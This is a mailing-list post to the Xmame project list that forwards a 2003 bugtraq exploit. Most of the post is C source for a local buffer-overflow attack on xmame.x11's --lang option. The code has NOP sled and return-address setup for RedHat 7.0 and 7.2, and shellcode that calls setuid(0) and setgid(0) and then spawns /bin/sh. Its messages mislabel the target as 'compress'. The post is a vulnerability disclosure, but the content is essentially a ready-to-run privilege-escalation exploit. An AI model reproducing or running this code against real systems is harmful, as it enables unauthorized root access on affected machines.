Do you know this already? It was just posted on bugtraq... regards, chris
/* --------------------------------------------------------------------------- Web: http://qb0x.net Author: Gabriel A. Maggiotti Date: March 31, 2003 E-mail: [EMAIL PROTECTED] --------------------------------------------------------------------------- */ #include <stdio.h> #define OFFSET 1058 #define NOP 0x90 #define NOP1 'B' #define RET_70 0xbfffee00 #define RET_72 0xbfffedf0 int main(int argc, char *argv[]) { int i=0; char buf[OFFSET]; int c, ret; unsigned char shellcode1[] = "\x33\xDB\x33\xC0\xB0\x1B\xCD\x80" // alarm(0); "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" // setuid(0); "\x31\xc0\x50\x50\xb0\xb5\xcd\x80" // setgid(0); "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; if(argc != 2) { fprintf(stderr,"usage: %s <os_type> \n",argv[0]); fprintf(stderr,"types:\n RedHat 7.0 - [1]"); fprintf(stderr,"\n RedHat 7.2 - [2]\n\n"); return 1; } c=atoi(argv[1]); switch(c) { case 1: printf("Exploiting compress for RedHat 7.0\n"); ret = RET_70 - OFFSET; break; case 2: printf("Exploiting compress for RedHat 7.2\n"); ret = RET_72 - OFFSET; break; } for(i=0;i<=OFFSET-1 ;i++) buf[i]=NOP; for(i=OFFSET-301;i<=OFFSET-1 ;i+=4) *(int *) &buf[i++] = ret; memcpy(buf+200,shellcode1,strlen(shellcode1)); execl("/usr/local/bin/xmame.x11", "/usr/local/bin/xmame.x11","--lang", buf, NULL); return 0; } /* --------------------------------------------------------------------------- [EMAIL PROTECTED] is dedicated to interactively researching vulnerab- ilities, report potential or undeveloped holes in any kind of computer system. To subscribe to [EMAIL PROTECTED] t send a blank email to [EMAIL PROTECTED] More help available sending an email to [EMAIL PROTECTED] Note: the list doesn't allow html, it will be stripped from messages. --------------------------------------------------------------------------- */ _______________________________________________ Xmame mailing list [EMAIL PROTECTED] http://toybox.twisted.org.uk/mailman/listinfo/xmame
